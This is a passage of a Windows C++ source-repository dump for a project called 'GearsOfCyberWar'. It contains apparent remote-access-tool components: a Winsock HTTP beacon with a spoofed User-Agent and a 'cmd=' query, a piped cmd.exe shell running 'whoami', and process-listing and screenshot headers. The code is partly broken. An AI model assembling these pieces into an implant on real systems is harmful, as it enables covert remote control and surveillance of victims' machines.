| # NuGet Packages Directory 133 | ## TODO: If you have NuGet Package Restore enabled, uncomment the next line 134 | #packages/ 135 | 136 | # Windows Azure Build Output 137 | csx 138 | *.build.csdef 139 | 140 | # Windows Store app package directory 141 | AppPackages/ 142 | 143 | # Others 144 | sql/ 145 | *.Cache 146 | ClientBin/ 147 | [Ss]tyle[Cc]op.* 148 | ~$* 149 | *~ 150 | *.dbmdl 151 | *.[Pp]ublish.xml 152 | *.pfx 153 | *.publishsettings 154 | 155 | # RIA/Silverlight projects 156 | Generated_Code/ 157 | 158 | # Backup & report files from converting an old project file to a newer 159 | # Visual Studio version. Backup files are not needed, because we have git ;-) 160 | _UpgradeReport_Files/ 161 | Backup*/ 162 | UpgradeLog*.XML 163 | UpgradeLog*.htm 164 | 165 | # SQL Server files 166 | App_Data/*.mdf 167 | App_Data/*.ldf 168 | 169 | ############# 170 | ## Windows detritus 171 | ############# 172 | 173 | # Windows image file caches 174 | Thumbs.db 175 | ehthumbs.db 176 | 177 | # Folder config file 178 | Desktop.ini 179 | 180 | # Recycle Bin used on file shares 181 | $RECYCLE.BIN/ 182 | 183 | # Mac crap 184 | .DS_Store 185 | 186 | 187 | ############# 188 | ## Python 189 | ############# 190 | 191 | *.py[cod] 192 | 193 | # Packages 194 | *.egg 195 | *.egg-info 196 | dist/ 197 | build/ 198 | eggs/ 199 | parts/ 200 | var/ 201 | sdist/ 202 | develop-eggs/ 203 | .installed.cfg 204 | 205 | # Installer logs 206 | pip-log.txt 207 | 208 | # Unit test / coverage reports 209 | .coverage 210 | .tox 211 | 212 | #Translations 213 | *.mo 214 | 215 | #Mr Developer 216 | .mr.developer.cfg 217 | -------------------------------------------------------------------------------- /GearsOfCyberWar/GearsOfCyberWar.vcxproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Release 10 | Win32 11 | 12 | 13 | 14 | {2E58A632-5F37-40BB-8D64-B93969AA61A9} 15 | Win32Proj 16 | GearsOfCyberWar 17 | 18 | 19 | 20 | Application 21 | true 22 | Unicode 23 | 24 | 25 | Application 26 | false 27 | true 28 | Unicode 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | false 42 | 43 | 44 | false 45 | 46 | 47 | 48 | 49 | 50 | Level3 51 | Disabled 52 | WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) 53 | 54 | 55 | Console 56 | true 57 | 58 | 59 | 60 | 61 | Level3 62 | 63 | 64 | MaxSpeed 65 | true 66 | true 67 | WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 68 | 69 | 70 | Console 71 | true 72 | true 73 | true 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | 107 | 108 | -------------------------------------------------------------------------------- /GearsOfCyberWar/src/SendHttpRequest.cpp: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | #include 5 | #include 6 | 7 | #pragma comment(lib,"ws2_32.lib") 8 | 9 | /** 10 | 11 | 12 | If query string is provided... 13 | 14 | The target host, either an IP address or URL. 15 | The length of the buffer containing the host. 16 | 17 | 18 | 19 | 20 | 21 | 22 | */ 23 | char* CreateHttpGetRequestString(const char* Host, unsigned short HostLength, 24 | const char* Page, unsigned short PageLength, 25 | char* QueryString, unsigned int QueryStringLength, 26 | unsigned int* HttpRequestLength) { 27 | 28 | if (Host == NULL || HostLength <= 0) { 29 | return NULL; 30 | } 31 | 32 | if (Page == NULL || PageLength <= 0) { 33 | return NULL; 34 | } 35 | 36 | int result = 0; 37 | char* BasicHttpRequestFmt; 38 | unsigned int HttpRequestSize = 65535; 39 | char* BasicHttpRequest = new char[HttpRequestSize]; 40 | SecureZeroMemory(BasicHttpRequest, HttpRequestSize); 41 | 42 | if (QueryString == NULL || QueryStringLength <= 0) { 43 | BasicHttpRequestFmt = "GET %s HTTP/1.1\r\nHost: %s\r\n"; 44 | result = sprintf(BasicHttpRequest, BasicHttpRequestFmt, Page, Host); 45 | } else { 46 | BasicHttpRequestFmt = "GET %s?%s HTTP/1.1\r\nHost: %s\r\n"; 47 | result = sprintf(BasicHttpRequest, BasicHttpRequestFmt, Page, QueryString, Host); 48 | } 49 | 50 | if (result < 0) { return NULL; } 51 | *HttpRequestLength = (unsigned int)result; 52 | return BasicHttpRequest; 53 | } 54 | 55 | /** 56 | 57 | 58 | 59 | 60 | 61 | 62 | */ 63 | char* AddHttpRequestHeader(char* HttpRequest, unsigned int HttpRequestLength, 64 | const char* HeaderName, unsigned int HeaderNameLength, 65 | const char* HeaderValue, unsigned int HeaderValueLength) { 66 | 67 | if (HttpRequest == NULL || HttpRequestLength <= 0) { 68 | return NULL; 69 | } 70 | 71 | if (HeaderName == NULL || HeaderNameLength <= 0) { 72 | return HttpRequest; 73 | } 74 | 75 | strcat(HttpRequest, HeaderName); 76 | strcat(HttpRequest, ": "); 77 | strcat(HttpRequest, HeaderValue); 78 | strcat(HttpRequest, "\r\n"); 79 | 80 | return HttpRequest; 81 | } 82 | 83 | /** 84 | 85 | 86 | 87 | 88 | */ 89 | int SendHttpRequestViaWinsock (const char* Host, unsigned short Port, 90 | char* HttpRequest, unsigned int HttpRequestLength, 91 | char* Response, unsigned int* ResponseSize){ 92 | 93 | //Argument validation checks 94 | if (Host == NULL) { return -1;} 95 | if (Port < 0 || Port > 65535) { return -1;} 96 | if (HttpRequest == NULL || HttpRequestLength <= 0) { return -1;} 97 | 98 | //Initiate Winsock 99 | WSADATA wsaData; 100 | if (WSAStartup(MAKEWORD(2,2), &wsaData) != 0) { 101 | return -1; 102 | } 103 | 104 | //Create a local TCP socket on the given port 105 | SOCKET Socket=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 106 | struct hostent *host; 107 | host = gethostbyname(Host); 108 | 109 | //Error: could not resolve host, check the connection 110 | if (host == NULL) { return -1; } 111 | 112 | SOCKADDR_IN SockAddr; 113 | SockAddr.sin_port=htons(Port); 114 | SockAddr.sin_family=AF_INET; 115 | SockAddr.sin_addr.s_addr = *((unsigned long*)host->h_addr); 116 | 117 | if(connect(Socket,(SOCKADDR*)(&SockAddr),sizeof(SockAddr)) != 0){ 118 | return 1; //Error: could not connect to the host 119 | } 120 | 121 | //Send the request to the host 122 | send(Socket, HttpRequest, HttpRequestLength, 0); 123 | 124 | //Prepare to read and store the response 125 | //unsigned short BufferSize = 10000; 126 | //char* HttpResponseBuffer = new char[BufferSize]; 127 | int nDataLength; 128 | unsigned int ResponseLength = 0; 129 | while ((nDataLength = recv(Socket,Response,*ResponseSize,0)) > 0){ 130 | ResponseLength = ResponseLength + nDataLength; 131 | } 132 | closesocket(Socket); 133 | WSACleanup(); 134 | return ResponseLength; 135 | } 136 | 137 | int TestHttpRequest() { 138 | int result = 0; 139 | const char* szUrl = "http://127.0.0.1"; 140 | const char* szUA = "IE8 (compatible; mozilla 5.0)"; 141 | const char* szPage = "index.php"; 142 | char* szQueryString = "cmd=903849&il=he2934"; 143 | unsigned short Port = 80; 144 | unsigned int HttpRequestLen = 0; 145 | char* HttpRequest = CreateHttpGetRequestString(szUrl, strlen(szUrl)+1, 146 | szPage, strlen(szPage), szQueryString, strlen(szQueryString), &HttpRequestLen); 147 | HttpRequest = AddHttpRequestHeader(HttpRequest, HttpRequestLen, 148 | "User-Agent", strlen("User-Agent"), szUA, strlen(szUA)); 149 | HttpRequest = AddHttpRequestHeader(HttpRequest, HttpRequestLen, 150 | "DNT", strlen("DNT"), "1", 1); 151 | printf("[*] Created Http Request:\n"); 152 | printf(HttpRequest); 153 | printf("[*] Sending Http Request to %s.\n", szUrl); 154 | char* HttpResponse = new char[65535]; 155 | unsigned int HttpResponseLen = 0; 156 | HttpResponseLen = SendHttpRequestViaWinsock(szUrl, Port, HttpRequest, HttpRequestLen, HttpResponse, &HttpResponseLen); 157 | if (result < 0) { 158 | printf("[-] Could not send http request to %s:%d.\n", szUrl, Port); 159 | } else { 160 | printf("[+] Request sent. Received %d byte(s) from %s:%d.\n", HttpResponseLen, szUrl, Port); 161 | } 162 | return 0; 163 | } -------------------------------------------------------------------------------- /GearsOfCyberWar/src/CommandShell.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | HANDLE ChildStdIn_Read = NULL; 5 | HANDLE ChildStdIn_Write = NULL; 6 | HANDLE ChildStdOut_Read = NULL; 7 | HANDLE ChildStdOut_Write = NULL; 8 | 9 | int ConnectPipesToProcess(wchar_t* Program) {//, HANDLE OutputHandle, HANDLE ErrorHandle, HANDLE InputHandle) { 10 | // HANDLE g_hChildStd_IN_Rd = NULL; 11 | // HANDLE g_hChildStd_IN_Wr = NULL; 12 | // HANDLE g_hChildStd_OUT_Rd = NULL; 13 | // HANDLE g_hChildStd_OUT_Wr = NULL; 14 | BOOL IsSuccess = FALSE; 15 | 16 | 17 | /* 18 | SECURITY_ATTRIBUTES SecurityAttributes; 19 | SecureZeroMemory(&SecurityAttributes, sizeof(SECURITY_ATTRIBUTES)); 20 | SecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 21 | SecurityAttributes.bInheritHandle = TRUE; 22 | SecurityAttributes.lpSecurityDescriptor = NULL; 23 | */ 24 | SECURITY_ATTRIBUTES saAttr; 25 | saAttr.nLength = sizeof(SECURITY_ATTRIBUTES); 26 | saAttr.bInheritHandle = TRUE; 27 | saAttr.lpSecurityDescriptor = NULL; 28 | 29 | // Create a pipe for the child process's STDOUT. 30 | if ( ! CreatePipe(&ChildStdOut_Read, &ChildStdOut_Write, &saAttr, 0) ) { 31 | return -1; 32 | } 33 | 34 | // Ensure the read handle to the pipe for STDOUT is not inherited. 35 | if ( ! SetHandleInformation(ChildStdOut_Read, HANDLE_FLAG_INHERIT, 0) ) { 36 | return -1; 37 | } 38 | 39 | // Create a pipe for the child process's STDIN. 40 | if ( ! CreatePipe(&ChildStdIn_Read, &ChildStdIn_Write, &saAttr, 0) ) { 41 | return -1; 42 | } 43 | 44 | // Ensure the write handle to the pipe for STDIN is not inherited. 45 | if ( ! SetHandleInformation(ChildStdIn_Write, HANDLE_FLAG_INHERIT, 0) ) { 46 | return -1; 47 | } 48 | 49 | PROCESS_INFORMATION ProcessInformation; 50 | SecureZeroMemory(&ProcessInformation, sizeof(PROCESS_INFORMATION)); 51 | 52 | STARTUPINFO StartInfo; 53 | SecureZeroMemory(&StartInfo, sizeof(STARTUPINFO )); 54 | StartInfo.cb = sizeof(STARTUPINFO); 55 | StartInfo.hStdError = ChildStdOut_Read;//ErrorHandle; 56 | StartInfo.hStdOutput = ChildStdOut_Read;//OutputHandle; 57 | StartInfo.hStdInput = ChildStdIn_Write;//InputHandle; 58 | StartInfo.dwFlags |= STARTF_USESTDHANDLES; 59 | TCHAR szCmdline[] = TEXT("C:\\Windows\\System32\\cmd.exe"); 60 | IsSuccess = CreateProcess( 61 | NULL, // application name 62 | szCmdline, // command line 63 | NULL, // process security attributes 64 | NULL, // primary thread security attributes 65 | TRUE, // handles are inherited 66 | 0, // creation flags 67 | NULL, // use parent's environment 68 | NULL, // use parent's current directory 69 | &StartInfo, // STARTUPINFO pointer 70 | &ProcessInformation); // receives PROCESS_INFORMATION 71 | 72 | if (!IsSuccess) { 73 | return -1; 74 | } 75 | 76 | CloseHandle(ProcessInformation.hProcess); 77 | CloseHandle(ProcessInformation.hThread); 78 | return 0; 79 | } 80 | 81 | //int CreatePipes(HANDLE ChildStdOut_Read, HANDLE ChildStdOut_Write, 82 | // HANDLE ChildStdIn_Read, HANDLE ChildStdIn_Write) { 83 | int CreatePipes() { 84 | SECURITY_ATTRIBUTES saAttr; 85 | saAttr.nLength = sizeof(SECURITY_ATTRIBUTES); 86 | saAttr.bInheritHandle = TRUE; 87 | saAttr.lpSecurityDescriptor = NULL; 88 | 89 | // Create a pipe for the child process's STDOUT. 90 | if ( ! CreatePipe(&ChildStdOut_Read, &ChildStdOut_Write, &saAttr, 0) ) { 91 | return -1; 92 | } 93 | 94 | // Ensure the read handle to the pipe for STDOUT is not inherited. 95 | if ( ! SetHandleInformation(ChildStdOut_Read, HANDLE_FLAG_INHERIT, 0) ) { 96 | return -1; 97 | } 98 | 99 | // Create a pipe for the child process's STDIN. 100 | if ( ! CreatePipe(&ChildStdIn_Read, &ChildStdIn_Write, &saAttr, 0) ) { 101 | return -1; 102 | } 103 | 104 | // Ensure the write handle to the pipe for STDIN is not inherited. 105 | if ( ! SetHandleInformation(ChildStdIn_Write, HANDLE_FLAG_INHERIT, 0) ) { 106 | return -1; 107 | } 108 | 109 | return 0; 110 | } 111 | 112 | int TestCommandShell() { 113 | 114 | // HANDLE ChildStdIn_Read = NULL; 115 | // HANDLE ChildStdIn_Write = NULL; 116 | // HANDLE ChildStdOut_Read = NULL; 117 | // HANDLE ChildStdOut_Write = NULL; 118 | wchar_t* ProcCommandPrompt = L"c:\\windows\\system32\\cmd.exe"; 119 | int result = 0; 120 | printf("[*] Creating pipes...\n"); 121 | //result = CreatePipes(ChildStdOut_Read, ChildStdOut_Write, ChildStdIn_Read, ChildStdIn_Write); 122 | /* 123 | result = CreatePipes(); 124 | if (result != 0) { 125 | printf("[-] Failed to create the pipes.\n"); 126 | return -1; 127 | } else { 128 | printf("[+] Successfully created pipes.\n"); 129 | } 130 | */ 131 | wprintf(L"[*] Connecting pipes to %s...\n", ProcCommandPrompt); 132 | result = ConnectPipesToProcess(ProcCommandPrompt);//,ChildStdOut_Read,ChildStdOut_Read,ChildStdIn_Write); 133 | if (result != 0) { 134 | wprintf(L"[-] Failed to connect the pipes to %s.\n", ProcCommandPrompt); 135 | return -1; 136 | } else { 137 | printf("[+] Successfully created pipes.\n"); 138 | } 139 | 140 | char* CmdInput = "whoami\n"; 141 | wchar_t* CmdOutput = new wchar_t[4096]; 142 | SecureZeroMemory(CmdOutput, 4096); 143 | DWORD dwRead = strlen(CmdInput); 144 | DWORD dwWritten = 0; 145 | bool IsSuccess = false; 146 | IsSuccess = WriteFile(ChildStdIn_Write, CmdInput, dwRead, &dwWritten, NULL); 147 | if (!IsSuccess) { 148 | wprintf(L"[-] Failed to write to the pipe.\n"); 149 | } else { 150 | Sleep(1000); 151 | } 152 | dwRead = 0; 153 | dwWritten = 0; 154 | wchar_t* buffer = new wchar_t[1024]; 155 | SecureZeroMemory(buffer, 1024); 156 | while (dwRead > 0) { 157 | IsSuccess = ReadFile( ChildStdOut_Read, buffer, 1024, &dwRead, NULL); 158 | wcscat_s(CmdOutput, 4096, buffer); 159 | } 160 | if (!IsSuccess || wcslen(CmdOutput) <= 0) { 161 | wprintf(L"[-] Failed to read from output of %s.\n", ProcCommandPrompt); 162 | } else { 163 | wprintf(L"[+] Read %d byte(s) from output of %s:\n\t", dwRead, ProcCommandPrompt); 164 | wprintf(CmdOutput); 165 | wprintf(L"\n"); 166 | } 167 | 168 | CloseHandle(ChildStdIn_Read); 169 | CloseHandle(ChildStdIn_Write); 170 | CloseHandle(ChildStdOut_Read); 171 | CloseHandle(ChildStdOut_Write); 172 | return 0; 173 | } -------------------------------------------------------------------------------- /GearsOfCyberWar/src/GetProcessList.h: -------------------------------------------------------------------------------- 1 | /** 2 | █▀▀▀▀█▀▀▀▀▀██▀▀▀▀██▀▀▀▀▀▀ ▀▀▀▀▀▀▀▀▀▀▀▓▒▀▀▀▀▀▀▀▀▀▀█▓▀ ▀▀▀██▀▀▀▀▀▀▀▀▀▓▓▀▀▀▀▀▀▀▀▀▌ 3 | ▌▄██▌ ▄▓██▄ ▀▄█▓▄▐ ▄▓█▓▓▀█ ▄▓██▀▓██▓▄ ▌▄█▓█▀███▓▄ ▌▄█▓█ ▀ ▄▓██▀▓██▓▄ ▄█▓█▀███▄■ 4 | ▌▀▓█▓▐▓██▓▓█ ▐▓█▓▌▐▓███▌■ ▒▓██▌ ▓██▓▌▐▓▒█▌▄ ▓██▓▌▐▓▒█▌▐ ▒▓██▌ ▓██▓▌▓▒█▌ ▓█▓▌ 5 | ▐▓▄▄▌░▓▓█▓▐▓▌ █▓▓▌░▓▓█▓▄▄ ▓▓██▓▄▄▓█▓▓▌░▓█▓ █ ▓█▓▓▌░▓█▓ ▒ ▓▓██▓▄▄▓█▓▓▌▓█▓ ░ ▓█▓▓ 6 | ▐▓▓█▌▓▓▓█▌ █▓▐██▓▌▐▓▒▓▌ ▄ ▐░▓█▌▄ ▀▀▀ ▐▓▓▓ ▐▌ ▀▀▀ ▐▓▓▓▄▄ ▐░▓█▌▄ ▀▀▀ ▓▓▓ ░ ██▓▓ 7 | ▐▓▓▓█▐▓▒██ ██▓▓▓▌▐▓▓██ █▌▐▓▓▒▌▐ ███░▌▐▓▓▒▌▐ ███░▌▐▓▓▒▌ ▐▓▓▒▌▀ ███░▌▓▓▒▌ ███░ 8 | ▒▓▓█▌▒▓▓█▌ ▐▓█▒▒ ▒▓██▌▐█ ▒▓▓█ ▐█▓▒▒ ▒▒▓█ ▐█▓▒▒ ▒▒▓█ ▓▌▒▓▓█ ▐█▓▒▒ ▒▒▓█ ▐█▓▒▌ 9 | ▌ ▒▒░▀ ▓▒▓▀ ▀░▒▓ ▐▌ ▓▓▓▀ █ █▒▓▀▀░█▓ ▄▌ ▒▒▓▀▀░█▓ ▄▌ ▒▒▓▀▀ █▒▓▀▀░█▓ ▒▒▓▀▀░█▀ 10 | █▄ ▀ ▄▄ ▀▄▄▀■ ▀ ▀▓█▄ ▀ ▄█▓█▄ ▀ ▓▄▄▄▄▄█▀ ▄▀ ▄▄▄▄▄▄█▓▄ ▀ ▄▄█▓▄▀ ▄▓▄█▄▀ ▄▄▄█▌ 11 | ▐████▓█▀ ▄▄█▓▓███▄▄ ▀▓▓████████████▓▀▄██▄▀▓██████▓▓██▓▓▓█▀▀▄▄███▓▓▄▄▄▀▀█▓████▌ 12 | ░░▌▓▓▌ ▄▒▒▓▓▓▀▀█████▄ ▀▒░▄ ███▓█▀▀ ▄▓█▌▐▒█▄▀▀▀█▓█████▓▓▀ ▄█████▀▀▓▓▓▒▒▄ ▐▓▓▐░░ 13 | ▐▒▒█▌ ▐░▓▓██▌ ▀▀█▓█▓▄▄▄ ▀█▀▀ ▄▒▓██▀▀ ▀▀██▓▓▄ ▀▀█▀ ▄▄▄▓█▓█▀ ▀ ▐██▓▓░▌ ▐█▒▒▌ 14 | ▀▓█ ░▒▓███ ▄█▀▀▀▀▀▀▀█▓ ▄▒▓██▀ ▄▓▄ ▀▓██▓▄ ▓█▀▀▀▀▀▀▀▄█ ███▓▒░ █▓▀ 15 | ▄█▀ ▀▒▓██▓▌ █▓ ▄▄█▓▓▄▄▄░▒▀▀ ▄▄ ▓░▒▓▓ ▄▄ ▀▀█▓▄▄▄▓▓█▄▄ ▓ █ ▐▓██▓▒▀ ▀█▄ 16 | ▐▓▌ ▀▓█▀▀ ▄▓▓▓█▀ ▄▀▀ ▄▄▀▀ ▀▀▀ ▀▀▄▄ ▀▀▄ ▀█▓▓▓▄▄ ▀▀█▓▀ ▐▓▌ 17 | ██ ▄▄▒█▐▒██▀ ▐▌ ■▀ ▄▄░▒▒▓████▓▄▄ ▀■ ▐▌ ▀██▒▌█▒▄▄ ██ 18 | ▐▒▌ ▄▓▓▓█▒▒▒▓▌ ▀▄ ▄▓▒▒▒███████████▒▓▓▄ ▄▀ ▐▓▒▒▒█▓▓▓▄ ▐▒▌ 19 | ▓▓▌ ▐▒██▀ ▐▒█▀ ▄▄▓▒▒▒▒▓███████████████▓▓▓▄ ▀█▒▌ ▀██▒▌ ▐▓▓ 20 | ▀█ ▒▒▓▌ ▒▓▌ ▄▓▒▒▒▒█░█▓██████████████████▓▓▓▓▄ ▐▓▒ ▐▓▒▒ █▀ 21 | ▄█▀▀ ▐▒█▀ ▐▓▓ ▓░░▓▒▒▓▓▓████████████████████▓▓▓▓▒▓ ▓▓▌ ▀█▒▌ ▀▀█▄ 22 | ▐▓▌ ▒▓▌ ▄▄▒█▌▄ ▐░▒▒▓▓▓▀▀ ▀█▓█████████████▓▀▀█▓▓▓▓▌ ▄▐█▒▄▄ ▐▓▒ ▐▓▌ 23 | ██ ▐▓▓ ▄▓▓▓█▒▓▌ ░▒░░▒▀ ▓▓█████████▓▀ ▀░▓▒▓▌ ▐▓▒█▓▓▓▄ ▓▓▌ ██ 24 | ▐▒▌ ▒█▐▒██▀ ▒▓ ▐░░▒█ ▓ ▀ ▐▓████████▓▌ ▀ █ ▐▓▓▓ ▓▒ ▀██▒▌█▒ ▐▒▌ 25 | ▓▓▌ ▒▒▒▓▌ ▀▒ ▀░▒▓▒▄ ▀▄▄█ █████████▓ ▐▌ ▄▀ ▄▒▓▒▌ ▒▀ ▐▓▒▒▒ ▐▓▓ 26 | ▀█ ▐▒█▀▄▄ ▀▀█▓█▄▄ ▄█▒█▓▓▓▀▓████▄▀▀ ▄█▓█▒▀ ▄▄▀█▒▌ █▀ 27 | ▄█▀▀ ▒▓▌▒▓▓▓▄ ▄░▒▓▄▄▀▓█▓████▓▀▀ ▓███▓█████▀▄▄▄ ▄▓▓▓▒▐▓▒ ▀▀█▄ 28 | ▐▓▌ ▐▓▓ ▀██▒▌ ▐░▒▒▒▓██▄███▓▀ ▀▓██▓██▀▄█▓▒▓▓▄ ▐▒██▀ ▓▓▌ ▐▓▌ 29 | ██ ▒█▒█▌ ▐▓▒▒ ░░▒▒█▓▓▓███▓▀ ▀▓████▓▓█▓█▓▓█ ▒▒▓▌ ▐█▒█▒ ██ 30 | ▐▒▌ ▐▓▓ ▒▓▌ ▀█▒▌ ▒░▒░▒░▓▓██▓▄ ▄▄▄▓▄ ▄█▒▒█▒▒▓▓▒▓▓▓▌▐▒█▀ ▐▓▒ ▓▓▌ ▐▒▌ 31 | ▓▓▌ ▒▓▌ ▒▓ ▐▓▒ ▀░░▒▒▒█████▓▄ ▄▓█████████▓██▒▒▒▒▓▓▓▒▓ ▒▓▌ ▓▒ ▐▓▒ ▐▓▓ 32 | ▀█ ▐▒█▄ ▀▒ ▓▓▌ ▀▒░▒▓███▀▀▀▀▓█▀▀▀▀▀█▀▀▀▀▓▓█▓▒▓▓▒░▀ ▐▓▓ ▒▀ ▄█▒▌ █▀ 33 | ▄█▀▀ ▒▒▓▌ ▐▄▒ ▀▀ ▄▓▓ █▄▄ ▄▀▀▀▄▄▀▄▀▀▀▄ ▀▀▀▀ ▒▄▌ ▐▓▒▒ ▀▀█▄ 34 | ▐▓▌ ▐▒██▄ ▐▒▓ ▄▄▒█▌▄ ▐▒▒▌▀▐▌▀█▌ ▀▓ ▐█▌▀▀▌▒▌ ▄▐█▒▄▄ ▓▒▌ ▄██▒▌ ▐▓▌ 35 | ██ cXc[CPH]▓▓█▒▓▌ ▄▓▓▓█▒▓▌ ▒▒▒██▄ ▄▄▀ ▄▄█▓▓█▓▒ ▐▓▒█▓▓▓ ▄▐▓▒█▓▓▓▀ ██ 36 | ▐▒▌ ▀▀▒█▌▀▐▒██▀ ▐▒▓ ▀▒▒▒████████▓█▓▄▀▀ ▓▒▌ ▀██▐▒▀▐█▒▀▀ ▐▒▌ 37 | ▓▓▌ ▐▓▓ ▒▒▒▓▌█▒▌▐▀▒ ▀░▒▒▓▓▓█▓▀▀ ▒▀▌▐▒█▐▓▒▒▒ ▓▓▌ ▐▓▓ 38 | ▄▀█ ▒▄▌▐▒█▀▓▒▄▒ ▓▓▌ ▀▀▀▀ ▐▓▓ ▒▄▒▓▀▒█▌▐▄▒ █▀▄ 39 | ▐▓▌ ▀ ▓▒▌ ▄██▒▌ ▐▒██ ▄▐▒▓ ▀ ▐▓▌ 40 | ██ ▐▓▒█▓▓▓▀ ▀▓▓█▓▒▓▌ ██ 41 | ▐▒▌ ▄▄▄▓█▀■▀▐█▒▀▀ ▀▒▀█▌▀■▀█▓▄▄▄ ▐▒▌ 42 | ▓▄▄███▓▀▀ ▀▀█▓██▄▄▓ 43 | ▄█▓▀▀ ▀▀▓█▄ 44 | █▓ ▓█ 45 | ▓▒ ▒▓ 46 | ▓ ▓ 47 | // Copyright (C) 2015 Jonathan Racicot 48 | // 49 | // This program is free software: you can redistribute it and/or modify 50 | // it under the terms of the GNU General Public License as published by 51 | // the Free Software Foundation, either version 3 of the License, or 52 | // (at your option) any later version. 53 | // 54 | // This program is distributed in the hope that it will be useful, 55 | // but WITHOUT ANY WARRANTY; without even the implied warranty of 56 | // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 57 | // GNU General Public License for more details. 58 | // 59 | // You should have received a copy of the GNU General Public License 60 | // along with this program. If not, see . 61 | // 62 | // Jonathan Racicot 63 | // infectedpacket@gmail.com 64 | // 2015-03-01 65 | // 66 | ▓ ▓ 67 | ▓▌ ▐▓ 68 | ▓█▄▄ ▄▄█▓ 69 | ▓▐▓▓█▄▄ ▄▄█▓▓▌▓ 70 | ▓ ▀█▓██▄▄▄▄ ▄▄██▄▄▄ ▄▄▄██▄▄ ▄▄▄▄██▓█▀ ▓ 71 | ▓ ▀█▓█▀████▄█▀▀▀▀▄▄▄▀▀▄ ▄▀▀▄▄▄▀▀▀▀█▄████▀█▓█▀ ▓ 72 | ▓ ▄█▓█▄████▀█▄▄▄▄▀▀▀▄▄▀ ▀▄▄▀▀▀▄▄▄▄█▀████▄█▓█▄ ▓ 73 | ▓ ▄█▓██▀▀▀▀ ▀▀██▀▀▀ ▀▀▀██▀▀ ▀▀▀▀██▓█▄ ▓ 74 | ▓▐▓▓█▀▀ ▀▀█▓▓▌▓ 75 | ▓█▀▀ ▀▀▓▓███▀▀ ▀▀███▓▓▀▀ ▀▀█▓ 76 | ▄▒▒▓▓▓▀▀█████▄ ▄█████▀▀▓▓▓▒▒▄ 77 | ░▒▓█▄▄▓▓███▄▄▀▀▀▀▀█▓ ▄▒▓██▀ ▀▓██▓▄ ▓█▀▀▀▀▀▄▄███▓▓▄▄█▓▒░ 78 | ▄█▀ ▀▄▒▒▓▓▓▀▀█████▄▓▓▄▄▄░▒▀▀ ▀▀█▓▄▄▄▓▓▄█████▀▀▓▓▓▒▒▄▀ ▀█▄ 79 | ▀▒▒▓▓▓▄▄█████▀ ▀█████▄▄▓▓▓▒▒▀ 80 | ▀▒▒▀▀▓▓███▀▀█▀ ▀█▀▀███▓▓▀▀▒▒▀ 81 | ▀▀▓▓███▀▀ ▀████▓▓▀▀ 82 | ██ ■▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄■ █▓ 83 | ▀█▓▄ NFO HEADER & LAYOUT BY CoaXCable/CoolPHay▄██▓ 84 | ▀▀▀████████████████████████████████████████▓▀▀▀ 85 | ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀ 86 | */ 87 | #include 88 | #include 89 | 90 | typedef void (*ProcessAction)(PROCESSENTRY32); 91 | 92 | 93 | int TestProcessList(); 94 | BOOL GetProcessList( ProcessAction DoProcessAction ); -------------------------------------------------------------------------------- /GearsOfCyberWar/src/TakeScreenshot.h: -------------------------------------------------------------------------------- 1 | /** 2 | █▀▀▀▀█▀▀▀▀▀██▀▀▀▀██▀▀▀▀▀▀ ▀▀▀▀▀▀▀▀▀▀▀▓▒▀▀▀▀▀▀▀▀▀▀█▓▀ ▀▀▀██▀▀▀▀▀▀▀▀▀▓▓▀▀▀▀▀▀▀▀▀▌ 3 | ▌▄██▌ ▄▓██▄ ▀▄█▓▄▐ ▄▓█▓▓▀█ ▄▓██▀▓██▓▄ ▌▄█▓█▀███▓▄ ▌▄█▓█ ▀ ▄▓██▀▓██▓▄ ▄█▓█▀███▄■ 4 | ▌▀▓█▓▐▓██▓▓█ ▐▓█▓▌▐▓███▌■ ▒▓██▌ ▓██▓▌▐▓▒█▌▄ ▓██▓▌▐▓▒█▌▐ ▒▓██▌ ▓██▓▌▓▒█▌ ▓█▓▌ 5 | ▐▓▄▄▌░▓▓█▓▐▓▌ █▓▓▌░▓▓█▓▄▄ ▓▓██▓▄▄▓█▓▓▌░▓█▓ █ ▓█▓▓▌░▓█▓ ▒ ▓▓██▓▄▄▓█▓▓▌▓█▓ ░ ▓█▓▓ 6 | ▐▓▓█▌▓▓▓█▌ █▓▐██▓▌▐▓▒▓▌ ▄ ▐░▓█▌▄ ▀▀▀ ▐▓▓▓ ▐▌ ▀▀▀ ▐▓▓▓▄▄ ▐░▓█▌▄ ▀▀▀ ▓▓▓ ░ ██▓▓ 7 | ▐▓▓▓█▐▓▒██ ██▓▓▓▌▐▓▓██ █▌▐▓▓▒▌▐ ███░▌▐▓▓▒▌▐ ███░▌▐▓▓▒▌ ▐▓▓▒▌▀ ███░▌▓▓▒▌ ███░ 8 | ▒▓▓█▌▒▓▓█▌ ▐▓█▒▒ ▒▓██▌▐█ ▒▓▓█ ▐█▓▒▒ ▒▒▓█ ▐█▓▒▒ ▒▒▓█ ▓▌▒▓▓█ ▐█▓▒▒ ▒▒▓█ ▐█▓▒▌ 9 | ▌ ▒▒░▀ ▓▒▓▀ ▀░▒▓ ▐▌ ▓▓▓▀ █ █▒▓▀▀░█▓ ▄▌ ▒▒▓▀▀░█▓ ▄▌ ▒▒▓▀▀ █▒▓▀▀░█▓ ▒▒▓▀▀░█▀ 10 | █▄ ▀ ▄▄ ▀▄▄▀■ ▀ ▀▓█▄ ▀ ▄█▓█▄ ▀ ▓▄▄▄▄▄█▀ ▄▀ ▄▄▄▄▄▄█▓▄ ▀ ▄▄█▓▄▀ 